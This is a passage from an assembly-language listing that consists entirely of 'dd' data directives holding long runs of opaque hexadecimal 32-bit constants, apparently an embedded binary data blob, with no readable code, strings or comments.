583BE57Fh, 0FC0F320Ch, 2460798Fh, 3A55F805h dd 56A7BF0Fh, 7C47925Ch, 75E39C0Ch, 226080D1h, 8B7E01C9h dd 0A78A3D6Ah, 0CA46F87Fh, 0CFDEA801h, 8FAFAC34h, 1E6496E4h dd 0CE2B0226h, 7AC030CEh, 0AF199E32h, 0B25A4200h, 99F73C86h dd 0DB6D105Bh, 9C404BC7h, 9676E4DFh, 0BA2C00B8h, 26C84E01h dd 9F12FBBCh, 800833Fh, 657DBDCAh, 0CF7803D4h, 47E54C46h dd 94B929B0h, 412FC200h, 611C2AD1h, 743B0017h, 50CA24E3h dd 5800DB31h, 0D34CA434h, 77D406Fh, 0D50DC1D0h, 5E15609Fh dd 1102F469h, 6843ADE8h, 65A4C034h, 0D13F01ACh, 38EB4C22h dd 8EC1F8E9h, 0C369FF17h, 29119C00h, 6420CBh, 5C84AA6Dh dd 83D7A866h, 129D6000h, 5E751855h, 94A2092Dh, 0B48BFC76h dd 80DB7405h, 6AA31168h, 18BC7501h, 0CFCC7294h, 0F4488C40h dd 0D8450097h, 5EEE01E8h, 0EBF0B563h, 60335000h, 0F49FDC74h dd 2D0900CFh, 91FED6EEh, 1BE08CBFh, 86153C00h, 0A7ABACAh dd 2C963D73h, 0F8F8ACh, 1E499B6Ch, 0B90127DDh, 54484AA1h dd 40E689C5h, 1CC71B80h, 0C07C4D92h, 0B463ECCBh, 7212EA5Ah dd 131FC8CAh, 8B744840h, 494CF758h, 50084BBh, 75A1A028h dd 7200ACB1h, 0E4D5133Dh, 74A6D670h, 30277857h, 0FF31E7F4h dd 0F301B5DDh, 8AC8E425h, 3604A95h, 389060h, 0A6265FB4h dd 9FC40C9Eh, 0DA8DCD00h, 0B1AF05E7h, 0B5A0118h, 0D40A5BB0h dd 4E78C419h, 3CE93F00h, 9742D0F4h, 7AFC000Dh, 0EC362F4Dh dd 0BC008FD1h, 0CCC22B19h, 6CC424h, 51A843F1h, 0DD5847D5h dd 0E5B19F01h, 8590575h, 0E348020h, 80395A56h, 0A7559CA0h dd 58005C82h, 0E3654D41h, 7FFB1F25h, 33427372h, 0CEF0D235h dd 91B0D0A4h, 0F2003010h, 36B1EA8Eh, 0B5E4D9h, 8816CC4Bh dd 0D23E7C29h, 0E90988A8h, 8F02EB75h, 0C63803F0h, 0B88468B7h dd 0BED2021Dh, 0B19EB2AFh, 655A5860h, 0D66E1A00h, 60458C2Fh dd 9218017Ch, 4A214EF8h, 2D7320A1h, 0B3C5BB00h, 638741CEh dd 67E23FEBh, 0CF584237h, 0F080FC00h, 9E006F1Bh, 759319F7h dd 13DE678h, 5D43AEEEh, 0F406319Fh, 5501402Ah, 0F3965AFEh dd 0A8408C5Bh, 49A036h, 0BF0D98A2h, 7D74D020h, 88F9F830h dd 614DD20Fh, 0CF5DE014h, 3689DC53h, 0B1296402h, 66828AD7h dd 94410100h, 0AA5575E6h, 0DE4474F7h, 8A427B18h, 72E02CB0h dd 0E584015Eh, 0A3121394h, 819DC8C2h, 83795438h, 4EADDCECh dd 0B5D1E0A1h, 2C1DE250h, 8FE492h, 635F597Dh, 0E23BCAD0h dd 7F2B8E7h, 9AB94334h, 809DF913h, 2CEA9BE8h, 2B25678h dd 0E63719A5h, 0DED7E8A0h, 8F0FA702h, 80B25992h, 2CFD47F1h dd 2A820F28h, 79621574h, 0F8E03EC0h, 2B0086CDh, 51C8BDDFh dd 1D992AC7h, 87D29AABh, 0F0D30823h, 0CAC62262h, 5B94CB07h dd 31E18761h, 0D428A02Fh, 9E4DFB01h, 0F0EFC35Ah, 0C8097612h dd 0CC4688h dd 285D3BD2h, 755616A8h, 0DD7040AEh, 65164053h, 9B71E100h dd 35A62458h, 0D737007Dh, 858DFFE3h, 49003957h, 0BD3B63E9h dd 4B3167DDh, 0A8580035h, 5B3F186Ah, 0D4FD5F50h, 3158E700h dd 544795F5h, 94EE0040h, 939D9C4h, 2F050FAEh, 1C866865h dd 1C3887C6h, 40DBA57Ch, 0FB8CFAFEh, 81007434h, 0C8D91E0h dd 76B5FEAh, 64E249B9h, 1F783347h, 0FD9462F8h, 7A413Fh dd 4DC68D39h, 0D6B153h, 3F8943BCh, 8E4FE5C1h, 0BEA74400h dd 54E8DF0Eh, 97460103h, 0CCFFA0B8h, 80844720h, 22098C24h dd 883E4Dh, 19167EB6h, 983306h, 0B89D97C4h, 41FF5DAEh dd 8D7C4A01h, 199FBFABh, 9E2C2760h, 48F1895Ch, 0C425F600h dd 0B403B829h, 754F7CD2h, 0E067E861h, 0F82A02EBh, 84035586h dd 276F5840h, 0BED80900h, 0ED3D69C3h, 0CA50022Eh, 62F82D38h dd 28DB5C40h, 0F1E98409h, 0A92C4082h, 2C0B001Bh, 47765B0Ah dd 9E006C16h, 0E7F80F58h, 1704EA4h, 0EB54ADBCh, 0C42B5FA7h dd 0D20928D7h, 797DA2h, 0AB578B38h, 247002EFh, 210508D1h dd 91E2D8E8h, 0F580B8B1h, 250C332Ch, 4C42002Fh, 0D4A720A1h dd 0FB1881EEh, 69803F37h, 2A210014h, 0B8C666BEh, 4A1C9348h dd 0E0404E5Eh, 65182B29h, 0E6707Eh, 0A7D81DCEh, 2688F683h dd 1C48E0Ah, 350EF466h, 7972E0E0h, 3ED630D2h, 2E80C66Ah dd 0C8AC1AC7h, 7C4F6452h, 0D00B2C00h, 2725817h, 13049747h dd 7048C8A0h, 7107B37Bh, 0D9DD2EC5h, 30C0B655h, 7FA4FE6Ah dd 13800707h, 1EF1E590h, 672490B7h, 5AF6B383h, 6AC23500h dd 45FD9DD3h, 0B0F0ECD5h, 44290509h, 407B1678h, 0DCDA2BECh dd 504A32F8h, 303F1800h, 85B91h, 6918FDCBh, 0A063B25Ch dd 80D4113Ah, 0C2EFC6A5h, 56E8BE8h, 0A2D3C1Fh, 5314F43Ah dd 4186D401h, 0F5340361h, 0CD17E8h, 24FEBF19h, 476D982h dd 67783F03h, 90656F12h, 1AF6ABDh, 9D254EEh, 0F819D046h dd 4C0081A7h, 628C364Fh, 0FE07C510h, 0CD8A259Bh, 0B23BB880h dd 720013F0h, 0DD6DE8FAh, 7329Eh, 0A4265223h, 3C3BEAA9h dd 17688400h, 0E00259D6h, 0A0DF0075h, 3E2F0DCCh, 1901A812h dd 1B9DF3F1h, 0C040958Bh, 74CCD1C0h, 289C131Eh, 0C074878Fh dd 48AD94D2h, 64D76607h, 90476E3Bh, 0A8616A07h, 1080763Ah dd 89924665h, 8000980Ah, 60B442A7h, 0E406A15Eh, 0CBC001E3h dd 0AC1834A8h, 0D97181D5h, 0D43E42CCh, 18E850EAh, 88D81261h dd 0BA0045C7h, 3513416Ah, 0F6390D27h, 0FB4600B4h, 2B6FBD8Bh dd 0F31FEDB7h, 1D44A9BAh, 0D8C483C0h, 10E35C48h, 6F9B006Eh dd 73B0FA99h, 15412582h, 94CCBC40h, 0B4098B00h, 6B8AEADFh dd 0B7B90083h, 8DF495AAh, 0C02AE90h, 75B6BF8Bh, 6CC1C0B4h dd 3C7F00CBh, 3B098FECh, 70388F5h, 469DBAB2h, 6CCBD0C5h dd 6D6000B3h, 0B8E0E132h, 55005AA8h, 0F85BF7CAh, 9D3B9Bh dd 3372647Bh, 0A43ED2ACh, 0F59F4900h, 6593F0ABh, 69BB07C6h dd 0E01F568Eh, 0BF0E7DC0h, 3FEE5D00h, 5F724185h, 38905C9Ah dd 0E2A4AF3Ah, 1C3184A4h, 7F7C434h, 9BD4C080h, 0C0C97424h dd 0A753612Bh, 0CF54BDF8h, 4522670Ch, 10DB4350h, 0E19F5857h dd 24661B8Ah, 0A1049311h, 2547344h, 90B446C2h, 92110FECh dd 3688A060h, 0BAF40992h, 60AE314Bh, 3886FA8Bh, 784450F0h dd 2FE318BBh, 0CF1C3952h, 9E7BA93Dh, 10FA468h, 78B0FA6h dd 47C12BCEh, 718F99B4h, 0B60581C1h, 80080F96h, 40AEA104h dd 0E3E8D29h, 0B64E01B5h, 99B0FE8Ah, 4F798034h, 52FFE124h dd 3DEB24A7h, 96D68028h, 683B8D88h, 747343Eh, 33CE5302h dd 0B6985693h, 0ED710029h, 9C015E9h, 0D832CFCCh, 7A6A0879h dd 0E9EF0040h, 36934529h, 0ADE421B1h, 0B410A900h, 48C53B87h dd 0CD5B58ACh, 62C3430Ah, 0BD8803B4h, 183B9C18h, 0CB9CD028h dd 60A32314h, 0AA441010h, 2E518963h, 36991CA0h, 61D811C0h dd 5CB92B8Dh, 0BB194365h, 0BF3F086Dh, 8D598F21h, 0DB70C017h dd 0FAB122F8h, 304000D7h, 50A48147h, 4C00D6CEh, 3FDA6298h dd 0E388A31h, 0D5107A1h, 72971CC3h, 3C9A9018h, 0C12189h dd 0A0C7230Bh, 97E8F880h, 0BAB1DC00h, 0C06F6A5h, 0C08A010Fh dd 0F4B72CD6h, 805880D9h, 0A16A899Bh, 2F32007Ch, 0B6A0AE6Fh dd 6200ED0Ch, 0E4980E08h, 0E488FC70h, 28A4275Eh, 52000F58h dd 30BCBE03h, 0FCF7FECCh, 1E590046h, 0F5E3E299h, 0E0756DCh dd 0D02EDEA3h, 0F6823C20h, 0D99300B2h, 52E76966h, 0CD1D23C0h dd 1C7F1689h, 8CCEDD2Fh, 9E5B07DEh, 5C1B8A90h, 0AE7000B0h dd 6279F74Dh, 5A03BC8Bh, 7E097B61h, 0EA43C810h, 818C0087h dd 2DD70598h, 0E0F389Dh, 0A07D47A2h, 0ACAA7A73h, 29F11CBEh dd 5D7B8364h, 0CFA72402h, 0B8AE0F23h, 20C3AFF9h, 7900D186h dd 428D9992h, 14E6922h, 516CFED9h, 20A76A57h, 75EAC6FEh dd 0FC083D00h, 24450F76h, 95AE00BEh, 3173A89Ah, 0D5007EE9h dd 0D3E2B128h, 263EE42h, 1C672EFh, 0D4E090C0h, 0C1006775h dd 0CD9A6F82h, 0DEC4A0h, 222CFFB1h, 2AFD746Eh, 5C123700h dd 0B41325Dh, 0B8D113EBh, 948700A7h, 0F6DF55C3h, 7AA8B3Eh dd 0A2068A36h, 93E85980h, 0BCD501FCh, 6280DDB1h, 33C9E4C1h dd 4121BE00h, 8DD68B11h, 22300099h, 3BEDA9A5h, 0E6006373h dd 2CF802C6h, 17057E42h, 0DC6D1Fh, 0BEA3A45h, 0DB00A538h dd 13A9B6ABh, 772BA79h, 56977BE7h, 336ED015h, 6300F7B4h dd 8AEF02C7h, 0EFF0A1Dh, 2DCDE060h, 25FB3840h, 0BBEE79BAh dd 7CBF2C00h, 0D719E8AAh, 8E3439A0h, 51EC200h, 0BB574A79h dd 63736324h, 0DCE4CD00h, 60AF18CFh, 665010A0h, 4101CE79h dd 954E9CC1h, 1BEC238Ch, 93D70E09h, 4C60FE83h, 5C05D1B3h dd 0B931181Ah, 8A088170h, 17708BBFh, 0D3B700BAh, 0F736C2BCh dd 82007CCDh, 8E4ED750h, 6DFE4Fh, 6AB3B8D6h, 37AD749Dh dd 0C6184A02h, 0E039C4D9h, 0FE82B278h, 4E080086h, 12419EF4h dd 0BB01283Fh, 7232AF29h, 0A3403DF6h, 46D319h, 1DA9B796h dd 45B2529Eh, 99FCB100h, 4CF3EA42h, 0FED43FF7h, 87D9D880h dd 725126B8h, 89E7C200h, 658EB4C7h, 38DA004Bh, 2693974Ch dd 8D0034A1h, 75122A83h, 91166Dh, 843DF1CDh, 74615CB6h dd 0CD4E803h, 1DE6DECBh, 4C39D848h, 455913EEh, 6E97500h dd 0F4EF3044h, 4837EE03h, 9A13A9B7h, 0E0370E81h, 5B957981h dd 75E8800Fh, 937C25B8h, 0C53400FFh, 0D305F2DFh, 6F020ED0h dd 0FE11CEEFh, 44B883A9h, 0C970E180h, 82AF7180h, 0E9A6D937h dd 1CD4238h, 0D0165639h, 30E076DFh, 94BE0E80h, 0EB00B9ABh dd 0C49DE63h, 0B029D0E3h, 5C453E01h, 53D12469h, 0A4008445h dd 0DC67738h, 7C324874h, 0C3DD0073h, 0C2AA72F6h, 0E6036857h dd 1C3F05F8h, 0E03D8B69h, 0C764BBh, 9F457D0Ch, 0CBA94A4Fh dd 615D8A03h, 0AA5E2D77h, 691C40A8h, 1AD90017h, 0D17A8C21h dd 6A009D4Ch, 0BBBFA29Bh, 7730C5EDh, 785E482Bh, 0F0735300h dd 94776EBCh, 0CE2D4D09h, 0D845003Bh, 7804F84h, 0F0A578Bh dd 0BDAA2036h, 714C61E2h, 9A057C0Ch, 6AABB748h, 760AA402h dd 383D06AAh, 14CF593Bh, 0C471A5h, 1DBFCABh, 5A5388h, 0CC1E1D68h dd 328C510Fh, 0ECFBE500h, 852F41DAh, 0A6090702h, 80A7ADBAh dd 0B7107957h, 6B58EB01h, 5AC0864Ch, 16A3BAECh, 73DDDBFh dd 707D9635h, 4D54B161h, 1A6CBD00h, 0D8145B36h, 0EEE8002Fh dd 38729B39h dd 0DD249CF1h, 0CF00A4FAh, 61E3D2DFh, 3FD475C1h, 0C7037E78h dd 9FB48737h, 407991B0h, 0ACC6D4A0h, 2700F8E4h, 0CFA0E7D9h dd 0EF4F8Fh, 1718EBD5h, 37F08259h, 0E281CA00h, 412B26EEh dd 8DD700B1h, 438F916Dh, 820339D6h, 7EA62792h, 4D2100C1h dd 0ED1B848Dh, 0EB0181A2h, 19AFAB85h, 503014CAh, 49AD00EEh dd 5E922DAAh, 0B2486381h, 215800ACh, 898F31B4h, 0FCE9389Bh dd 161CB800h, 5876FB29h, 0D4AC7000h, 0D6463F9Eh, 0F2F11C63h dd 18721821h, 0AF00E436h, 9A6B8CEEh, 43E6423h, 2542353Dh dd 3C0C8065h, 68001058h, 0CABEE6FFh, 0A25680h, 0F4AF499Bh dd 84B4531Dh, 990039EEh, 300BB831h, 0BD36BBh, 517CBEB3h dd 0E229D779h, 1DE0A900h, 0AD5D8D2Dh, 0A14BB0C8h, 31EDA10Ch dd 920B803Bh, 2F0C3EB9h, 70FE240Bh, 4725Ah, 2B1E72DEh dd 0F2C34D98h, 0B85D100h, 7D9469FAh, 0F5A73C5h, 0F35BC1A0h dd 7F608DA0h, 0B707797Ah, 1E27C340h, 68BB2991h, 989FACC5h dd 28D4C167h, 606FBFEFh, 6C064174h, 0F3892718h, 21F90111h dd 0BEF06AD4h, 5134C43Eh, 8681D91Dh, 692DB800h, 90A305A5h dd 851E0070h, 0A87FE4EBh, 0E902FECDh, 0A28250FDh, 0DE8048ACh dd 469348F3h, 3B74284Dh, 0E400CA1Eh, 4EAEF511h, 0E15C1C21h dd 0AA85006Ch, 35A2C4EAh, 637738h, 0DA267C04h, 7D3A201Dh dd 52AE8097h, 67FE1DBh, 94F18F5Fh, 4F0F3828h, 0A07D6A23h dd 66DAD316h, 0F4D80071h, 44C921AFh, 728103Ah, 0B850B09Fh dd 300A1EB8h, 0A53F7F74h, 0AF84E800h, 171FB85h, 0C6C2C7B8h dd 0FCA6CBB7h, 7E00999Eh, 198CF088h, 9AB044A0h, 9ABE00C8h dd 29F7BA0Eh, 8A003A31h, 0DD63B1ECh, 9C72AD4h, 0E3B76D71h dd 0AC20810h, 44725Ch, 0CA6FB27Ch, 1E1F8C5Fh, 0EB7679Fh dd 9E0AE71h, 1C806EECh, 0E600DD7Eh, 58BBB376h, 0DEDF40h dd 0C23AD068h, 93726E99h, 0B849420Bh, 80FD0939h, 0C4A2CCD0h dd 67570037h, 2920E925h, 1CFCA78Eh, 7F0F45F0h, 0A39E797Eh dd 0C3FF7D57h, 9D498889h, 1DF80722h, 0C0E1DCBAh, 9857C647h dd 0A0857404h, 0F5402DD5h, 0BF3DD81Ch, 0F3DF4200h, 0AF726962h dd 0B9250E1Eh, 0B1E0CC82h, 0CD3E27F6h, 464FAE00h, 4B3B2645h dd 6048585Eh, 805C111Ch, 0AE7B2E1Ch, 1F0025A1h, 0AAD7C89Dh dd 0F8CA62h, 0B5F07438h, 0AB16FD86h, 0BDFFBE01h, 0DB40F158h dd 5705118Fh, 0ACADEC02h, 20A506h, 24C6DB04h, 205701A8h dd 3431BF00h, 583D7F70h, 0F835F645h, 0D1F50925h, 4C07B1A2h dd 3F20D01Bh, 6F0105Eh, 1FB5716h, 4FADA300h, 5A96416h dd 2ADD5560h, 0AA84177Bh, 7C886718h, 4AD000B7h, 0BB0B5CD8h dd 0B4034F79h, 21859472h, 0E6ED8008h, 93300286h, 38D4F9F0h dd 0AB81D380h, 5B0019DFh, 2E31AF2Bh, 0AA55Dh, 0A1DB28F3h dd 7CB7B939h, 9E6FFC05h, 0DF0FDF8Ah, 3E678086h, 3C16E388h dd 8004CAAh, 0AFE25DFFh, 29008297h, 0EB72F40Eh, 958420h dd 7AF0DF49h, 0BEAEE638h, 0BCB17600h, 0AAC550F8h, 4E79DEh dd 0BD556574h, 3539F1A0h, 2C0B66F4h, 80EF7BA1h, 1605EBA5h dd 0C3CC002Eh, 9EE86CDDh, 1AE07227h, 39293Bh, 9A98034Dh dd 7F38FE17h, 37A301EBh, 51F5BF05h, 0AE94469Dh, 6EC1F400h dd 3620801Bh, 86B6632h, 590021CAh, 8C8C18Fh, 0A438773h dd 37A22749h, 0F6E580B4h, 9A921823h, 0DCFA6101h, 4681C6A7h dd 5D3060C2h, 0E549C0CDh, 7F57C880h, 1D6F58h, 0C466462Eh dd 547840h, 683D0DAAh, 28DC1F77h, 0AC3950D8h, 0D48E0FADh dd 8101611Ch, 91A4BAD3h, 0E280EBC9h, 0F01B68C1h, 5FCE448Ch dd 3CC1FD01h, 3B0529D6h, 0A55C180h, 62CE4CE9h, 0E8AA171Dh dd 0D081C480h, 7464F8ACh, 950A80ABh, 3CF5630Bh, 55CF8368h dd 0AE083778h, 638EB021h, 0E000D5C8h, 0BB1B4B91h, 0DBDA95h dd 0A9E5771Ch, 0A34637B1h, 184D448h, 591A8515h, 54F1B729h dd 0EE6F670h, 75167ACEh, 0B809BA0h, 477C8676h, 80376B3Eh dd 9065BED5h, 67CF4Bh, 0C9687DFDh, 2D94D40Dh, 46162600h dd 0B128640Bh, 0D1E003AAh, 7CC24323h, 1FDA9CA0h, 54D8FA00h dd 0E6B3B0F5h, 0B7083AE2h, 9A21D075h, 84ACD900h, 0BF56A0A2h dd 26F85558h, 0E502BAF8h, 0C0764297h, 0E8992B8Fh, 3C23007Fh dd 16F7B751h, 471903CDh, 8D08A51Fh, 0C95F2180h, 0CC0275BCh dd 0A0A92A00h, 138C308Fh, 92D8CE48h, 3C80C32Ch, 6F936248h dd 0AA7A0039h, 6614788h, 5997E731h, 17600839h, 88929921h dd 0ECA603F6h, 55F51FCDh, 0A0EF0588h, 0E21AC319h, 51B29CB0h dd 3D30A6B8h, 16FB08B7h, 8164196Dh, 0BCD55340h, 0E800C47Eh dd 0CF49195Eh, 0C7962692h, 0C3A13F21h, 5D0E659h, 0C706554Ah dd 0B5979348h, 1D9F0378h, 0DF34390Ch, 7ABAF3E0h, 7BC4A0A7h dd 0ABA39660h, 0D8006590h, 2A5DB439h, 0F7E061h, 0AD7A0285h dd 0EF66DF9Fh, 0D0108067h, 0E2B3C270h, 0F68A0005h, 0EDB046CCh dd 4F1EC34Bh, 6E47F44Dh, 8C901081h, 1E67BC9h, 598086E3h dd 0EDB262ACh, 373CDCFCh, 0FE25C200h, 648EE169h, 654E3B02h dd 0C026621Fh, 6804C542h, 0AF00FCDEh, 0C3B79681h, 3EA29458h dd 0B5035E8Ch, 82597AB0h, 3FE01C82h, 9F00661Bh, 0CCBB79DDh dd 3019057h, 0C0313764h, 1AA615D8h, 0E56FD003h, 0B860845Bh dd 0E3C766h, 0EC190A7Fh, 0F521A8EBh, 49104E1Dh, 0D0EF1033h dd 6C75A28h, 0CEAC87A0h, 506708B8h, 28C08E21h, 79C59Bh dd 0B24F64D3h, 9EF32E38h, 42004C77h, 0D126D2BCh, 0AD70AAh dd 0DFEB532Fh, 0A77EE691h, 65484F67h, 0A3BF6C0h, 3859C058h dd 79B9B041h, 52479700h, 29C5EFD4h, 16750186h, 0D6F4CE0Fh dd 0BA6E60ECh, 0A40258A4h, 40C75E28h, 1053198Ah, 78289C82h dd 369F2DDh, 5E9E33D8h, 49D8B886h, 2F07A22Ah, 0F6D9466Ah dd 0F80E40CEh, 0C67A2C6Ch, 8E0A641h, 6B454F00h, 8B86BC4Eh dd 0C6840021h, 2592F199h, 65F4790Ch, 0C004EA00h, 0D9E89319h dd 1D95B83Bh, 3936EDE4h, 6ACE5900h, 0A7C627C1h, 590CFA30h dd 0E850F5h, 77D20DB7h, 34DB5A38h, 8212013Ah, 0D83C86AAh dd 0A89CA03Fh, 74D0F8A0h, 3D129A7h, 0AFD900A8h, 24F47ED5h dd 8B31DC00h, 26A4CF34h, 0D4600BBh, 0FEF014ADh, 68A0A7A8h dd 0EEF0C411h, 0B4F38200h, 0F7EA95Ah, 8B5D0120h, 3092A18Ah dd 0B56180AAh, 0F0944DF9h, 0F26F0073h, 0BDC6C159h, 53032C65h dd 6CD8D217h, 702FE095h, 96773122h, 804B0B38h, 0F047DB9h dd 0D5B276h, 35F92F1Ch, 89DDEA16h, 0E8068A76h, 3F0BB5F2h dd 93F631h, 4132808Eh, 4BE206B2h, 8D3448h, 40D3C670h, 31995BA0h dd 0D8D1E8BAh, 6DA850F7h, 5D0080BDh, 20155F5Ah, 7B30C371h dd 76A43B9Dh, 0EDD27780h, 1CF87F2Ah, 8021BE3Ch, 3056362Ch dd 67EC9EEh, 0D43525E5h, 0C600D08Eh, 6F38C8DEh, 12B9CFBh dd 0DDB064A6h, 0E048ABECh, 0A3E0B49Dh, 0CF5AB100h, 70E15ED4h dd 236C11F3h, 5B240D41h, 0E0EBA164h, 0C0FFA6h, 34A30C22h dd 61E64DC4h, 10B89F54h, 0A9393A60h, 0C09CB33Fh, 0CA7701F2h dd 5100068Bh, 3E41EC05h, 0B912CFh, 1F203423h, 0EAE5D4A8h dd 5F2442F3h, 0A90CB320h, 0F04800BDh, 0B59590A0h, 0EF1D6BD8h dd 364632B7h, 0F8A153D7h, 4D7B00EAh, 0BBCE1862h, 0E2640BB6h dd 33816649h, 0A9C8CF10h, 4BEE0058h, 2CBDDD69h, 0D4009FC7h dd 9C0FDCF5h, 0FA5974Ah, 83A0FD8Dh, 44D51283h, 6852C980h dd 3B1AFF00h dd 54559DE3h, 0D604A7E4h, 0B9CAE70Fh, 0B708356h, 0F5D07DEAh dd 0D34CE4h, 4AB4A445h, 0CFA76754h, 700D840Bh, 28390CDCh dd 0B0604465h, 3E3D608Ah, 82840F5Dh, 0A820CB63h, 6BD63435h dd 0A6E8C500h, 61998C90h, 94290FC6h, 9241DCh, 750976E4h dd 0B70EE7CEh, 0FC9D882Ah, 7D95DF80h, 7B5245h, 0D821F889h dd 9FB1320Eh, 0B9478A0Eh, 0A5C16039h, 222C38h, 0E3CEBD0Ah dd 0BF583607h, 0B6FEF600h, 745904A6h, 84F2014Ch, 642AE16Eh dd 0E4DAC5A4h, 2C004DC6h, 8FBAEB5Dh, 1FDBFA34h, 405CE609h dd 906665ECh, 740789E7h, 5655BE45h, 0A0B87373h, 82787Fh dd 1D2C638Bh, 39B3113h, 1A5AE000h, 17097CEFh, 4BC30723h dd 1949BCh, 910F256Dh, 843AB900h, 43E293B8h, 0CEFB01EBh dd 71867A57h, 90A9406Ch, 820007B2h, 0DCF7D1ADh, 77A6BCBAh dd 76F5FEF4h, 58A21E5Fh, 9470C02Eh, 0C52ADAEAh, 4AD1700h dd 1D3354AAh, 972B0395h, 9971F02Dh, 0D0B786E9h, 0E360132Eh dd 0B48D8AD8h, 0F12800D2h, 23A349DFh, 9B00BC8Ch, 0D40631B8h dd 38610BEh, 0A1245330h, 0FEE0D718h, 4E28ED71h, 0AD00EDA7h dd 6BDCEE8Ah, 2B9B2h, 4F5BF04Bh, 690798ABh, 2235B800h dd 0BB3DCAECh, 9A5E0027h, 0DE5DBE2Dh, 0FD0026BCh, 1C808CCCh dd 0F2246E46h, 2049C0C2h, 0B6596A29h, 0C0921100h, 0BFBB43BEh dd 368D004Ah, 0EAFB96CCh, 8000ADD8h, 5F335241h, 3ED2C53h dd 1D8CDAB8h, 52244325h, 481D41Ah, 0ED44CECh, 50BD99F8h dd 14FCCBBh, 0C883204Eh, 0CB97CC41h, 6E6B1900h, 850E022Fh dd 4CC010C9h, 0C29700B9h, 0EAB7F773h, 0E3C00E6h, 8EDF62F2h dd 0EEEAE44Eh, 0F9427006h, 43797B36h, 0CA08806Eh, 1043B90h dd 2221B957h, 613D6AEBh, 1E4080CEh, 73E6158Dh, 9E3E0040h dd 5471965Ch, 11C05DCCh, 0B30F9D8Eh, 63A0230h, 901252C8h dd 7635EC40h, 3FED7800h, 0C50B9447h, 5DDC0EC6h, 4127663Dh dd 0D4E14017h, 0C09D6BF2h, 1D8CE3Bh, 0B5515EFFh, 0E4B192A3h dd 0C1DF929h, 48405AE4h, 0FC8FF0C4h, 51B000AAh, 0B3ECA99Eh dd 584CDE52h, 482D309Bh, 81EBB8h, 21845390h, 861E55EFh dd 8F250A00h, 0F302A032h, 0E71B0E51h, 4A604638h, 0F1F4ED36h dd 14C4C4Ch, 1F871DCDh, 5770D617h, 38157449h, 0F808FE5h dd 382ABF18h, 1000FCC2h, 0F2033065h, 0E6EB7Dh, 2BE586AEh dd 6DBCB0A8h, 0D2C0D9C0h, 0D49001h, 8521551Eh, 0E1B7A723h dd 97B530C0h, 3A51114h, 0F6DFCFBAh, 0B98B41BEh, 33D3D0F7h dd 257790E2h, 0BD0B0500h, 0A9D8C921h, 941F0075h, 0CA411255h dd 8915C67Fh, 2F819B5h, 1F851D15h, 67B8A0F0h, 35E1C20h dd 8F4A33E4h, 0B1000C5Bh, 980A5C36h, 0E0387Fh, 57971F94h dd 3149BB04h, 0C96DFC07h, 8D808684h, 12743322h, 40F8EFBh dd 5CCF03C0h, 0E1F7AB80h, 99A508h, 57B50E87h, 8B265F35h dd 7CB32926h, 97316902h, 538CA098h, 0E2C099B8h, 540C079Fh dd 0C06815FDh, 7ACF551Dh, 0DF00EE98h, 97ACD2A0h, 2A1BBB6h dd 183AE106h, 709E21B1h, 1D2E2F1Eh, 48161A40h, 24AB8776h dd 64C88D3Ah, 0D04B413Eh, 0AC2027C3h, 3AFA3C42h, 681872A4h dd 49456094h, 3C60D0C3h, 0BDCC4B70h, 117D60C8h, 83F8C7BCh dd 380F4C12h, 0B271A860h, 108A0A4Bh, 509C8F3Eh, 0A2128BEEh dd 0D470A636h, 448818B5h, 8D372EC0h, 0FCE08992h, 329812Fh dd 5F958BEAh, 84A54EA5h, 58AC4F54h, 14006A29h, 728F2BF9h dd 0E6FEA00h, 0D5317582h, 0DA30005Bh, 0E6D8A738h, 1C30637Bh dd 9CE7B054h, 107A18FEh, 7B14D928h, 96008BF0h, 53D5063h dd 12A336F5h, 4992BB6h, 7175D6F4h, 1DDC20DFh, 0C89217h dd 4B0E6E5h, 1906DE78h, 2685FC01h, 0DCF90C2Ah, 0BC64D6h dd 0E48441F8h, 4806BBC4h, 0C47752h, 7113552Fh, 132B6FFh dd 0EF992957h, 0EB03CF41h, 0FBDC1E51h, 1BE03101h, 6DA801CCh dd 38E070h, 0FF788FE9h, 27533580h, 25ACC754h, 3AC53C14h dd 58090D8h, 5DE3FE3Fh, 5C4F50C1h, 0A698E834h, 1CFF00B0h dd 688DB233h, 140E679Bh, 62CB59F8h, 0A0E6B98Eh, 98922228h dd 0ECF8A881h, 0C4403BAFh, 1224392Eh, 94BE00C9h, 1D0AEB35h dd 0A42EBF01h, 18B751CEh, 0C0048442h, 88AEE69Ch, 5660F1FAh dd 4EF8D011h, 0D9D60085h, 90B052C6h, 130B110h, 4958A999h dd 8BAF0070h, 0BAB65715h, 50B573A2h, 1DA5001Bh, 0D6102026h dd 0E400DCC5h, 4F8C56C7h, 4C3DF7Eh, 0E55B38A6h, 2DB09155h dd 5C460C5h, 56708203h, 0C7ED64F2h, 118CE6h, 481ED0A8h dd 0E9CE44E4h, 0CCB5012Ah, 0CF563801h, 0A77A1632h, 9BDC2C25h dd 0EEF40007h, 55C0BF40h, 2C0EB292h, 40352845h, 0C4319D54h dd 0E9D9038Fh, 3BE7E17Dh, 99CEC080h, 0DBF4A90Eh, 281AA047h dd 0EB3BA0Eh, 21EC417Dh, 0AA23B640h, 0FB090276h, 80C45CF3h dd 6372CA60h, 3741038Bh, 0F278CCBh, 7F3A4870h, 86B58088h dd 75525747h, 8E671CB2h, 1745C024h, 0C16E1E2Ch, 6B3F2100h dd 0F4AB580Ch, 0F1250E2Ah, 760E8C2h, 894C7BA1h, 0BE87FC00h dd 9E855B73h, 9FDE0067h, 0EE2FC664h, 8E06CBF4h, 4F362894h dd 0F7E431h, 0FF06AA6h, 0FDA4F508h, 4F168C94h, 0CBABA021h dd 914464h, 43AE2523h, 75E894C8h, 0C1767D16h, 9C395C49h dd 272D0030h, 9BBECDCh, 33245A89h, 500020E7h, 29EB9371h dd 74F10004h, 14A12CE4h, 0E88A4B2h, 3F4A7718h, 3F3DBA3h dd 1E3317FDh, 58A01A36h, 4048A8FEh, 91308094h, 0F1ED9FC2h dd 1C3BCC64h, 80B2A0E5h, 12F82F0h, 0E4918746h, 56E98F86h dd 5EE52240h, 7B00B4ACh, 0FC1DC980h, 613CE56h, 44BD0C2Bh dd 7F03F1DFh, 0E707881Eh, 7DA0C86Dh, 2BC4005Fh, 52A4C94Fh dd 2A3F05D0h, 0A078D8B6h, 0A85249EEh, 24BD9484h, 814C74EFh dd 98DD8DB7h, 0BB8404Fh, 0B2F09FECh, 9E3A9702h, 0C3B0ED88h dd 27BB906Ch, 0AEA81520h, 4A02B87Bh, 51E8A5B5h, 14000450h dd 291D8732h, 742FF66h, 0A950977Dh, 3DD78090h, 0C47A43A5h dd 157904BAh, 9083222Bh, 55DAB08h, 0AFDC20h, 